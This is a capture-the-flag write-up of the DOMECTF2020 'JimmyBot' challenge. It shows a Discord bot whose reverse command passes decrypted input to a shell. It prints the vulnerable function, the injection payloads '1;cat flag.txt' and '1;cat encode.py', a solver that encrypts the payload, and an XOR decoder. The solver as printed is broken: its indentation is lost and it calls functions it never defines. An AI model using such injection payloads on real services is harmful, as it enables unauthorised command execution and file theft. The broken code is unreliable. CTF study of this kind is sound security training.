JimmyBot Writeup

By
Manieendar Mohan
Published on
20 Sep 2020
10 min read
DOMECTF2020

Story

Magnus college deployed a bot to help students study programming. Unfortunately, there’s a critical vulnerability in it. Find it before some bad actors use it for malicious activities.

Solution

Jimmy bot is an automated discord bot with a dash of AI and a fatal flaw.

By giving help command, the bot will list the functionalities.

jimmybot1

By giving the command .ls we can see the flag.txt and a python script encode.py

jimmybot2

Using the .viewcode function, the bot displays some code blocks and the reverse function is the one with the vulnerability.

jimmybot3
        @bot.command()
        async def reverse(ctx, params, name = "reverse"):
            try:
                dec_in = decryption(base64.b64decode(params)).decode('utf-8')
                getResult =  subprocess.Popen(f'echo {dec_in} | rev', shell=True, stdout=subprocess.PIPE).stdout
                result =  getResult.read()
                await ctx.channel.send(result.decode())
            except Exception as e:
                await ctx.channel.send("Ops, something went wrong..")
    

The function uses a subprocess module to execute commands on the server.

This particular line caught my attention, since it was passing the result of the decryption function into a subprocess as a variable {dec_in} via shell (shell = True)!

Therefore all the environment variables and file globs could be accessed if we can inject the payloads “1;cat flag.txt” and “1;cat encode.py”.

By using the semicolon, to escape the brackets {}, and by assigning the value 1 to the variable dec_in to close the first argument. Then execute the command cat to extract the data.

After gathering all the functions together with the help of the .viewcode function, we will be able to view most of the bots code.

The cipher text was firstly “blockified” into 4 by 4 blocks and then padded with null characters so as to match the desired size. Then with mask() the blocks were shifted horizontally using the parameters a and b. The only thing left is to reverse the shifting in the rotate_left() function. Thus by providing the plaintext it can encode it using the same process in reverse. Then we encrypt the result in base 64.

Solution from reversing the code :

        import base64
        BLOCK_SIZE = 2
        TABLE_DIM = 4
        key = [7, 20]

        def rotate(pt, rot, size, idx):
        m = hmask(size, idx)
        blk = pt & m
        rot = rot % size
        r = ((blk >> rot) | (blk << (size - rot)))  & m
        return pt ^ blk | r

        def egcd(a, b): 
        x,y, u,v = 0,1, 1,0
        while a != 0: 
            q, r = b//a, b%a 
            m, n = x-u*q, y-v*q 
            b,a, x,y, u,v = a,r, u,v, m,n 
        gcd = b 
        return gcd, x, y

        def modinv(a, m): 
        gcd, x, y = egcd(a, m) 
        if gcd != 1: 
            return None
        else: 
            return x % m

        def encrypt(pt):
        enc = []
        blocks = blockify(pt, BLOCK_SIZE, b'\x00')
        for blk in blocks:
            blk_int = int.from_bytes(blk, byteorder='big')
            for n in range(TABLE_DIM):
                a,b = cnt(blk_int, TABLE_DIM, n)
                blk_int = h_rotr(blk_int, a, TABLE_DIM, b)
            enc.append(blk_int.to_bytes(BLOCK_SIZE, byteorder='big'))
        return b''.join(enc)
        
        def blockify(inpt, size, pad):
        return [inpt[i:i+size].ljust(size, pad) for i in range(0, len(inpt), size)]

        def count(pt, size, idx):
        a,b = 0,0
        pt = pt >> idx * size

        for _ in range(size):
            if pt % 2 == 0: a+=1 
            else: b += 1 
            pt = pt >> 1
        return a,b

        def mask(size, idx):
        return 2**size-1 << idx*size

        s = b'1;cat encode.py'
        a = base64.b64encode(encrypt(s))
        print(a)
    

The output from the solution will be a base64 string. Using the reverse function we can print the encode.py and flag.txt in reverse.

jimmybot4

By reversing and inspecting the output we can see that encode.py is a python script to XOR strings so we have to decode the XOR using a key, so we have to find the key to reverse the flag.

jimmybot5

While running the command .help in the output its shown “thank me later”. By typing thanks the bot will display the key.

jimmybot6

Using the key we can decode the text from flag.txt and retrieve the flag.

Given below is a sample code from the web to decode XOR using python. You can use any language you prefer.

        def xor_crypt_string(data, key = '2o2o##d0M3cTf', encode = False, decode = False):
        from itertools import izip, cycle
        import base64
        
        if decode:
            data = base64.decodestring(data)
        xored = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(data, cycle(key)))
        
        if encode:
            return base64.encodestring(xored).strip()
        return xored

        print("The cipher text is")
        print xor_crypt_string(secret_data, encode = True)
        print("The plain text fetched")
        print xor_crypt_string("VgBfCkBXAksASg5iVl0JViFMdyFKOFkHAQ1ZNUgIW0AJY3gCLTFSZxI=", decode = True)
    
jimmybot7
Automated human-like penetration testing for your web apps & APIs
Teams using Beagle Security are set up in minutes, embrace release-based CI/CD security testing and save up to 65% with timely remediation of vulnerabilities. Sign up for a free account to see what it can do for you.

Written by
Manieendar Mohan
Manieendar Mohan
Cyber Security Lead Engineer
Experience the Beagle Security platform
Unlock one full penetration test and all Advanced plan features free for 10 days
Find surface-level website security issues in under a minute
Free website security assessment
Experience the power of automated penetration testing & contextual reporting.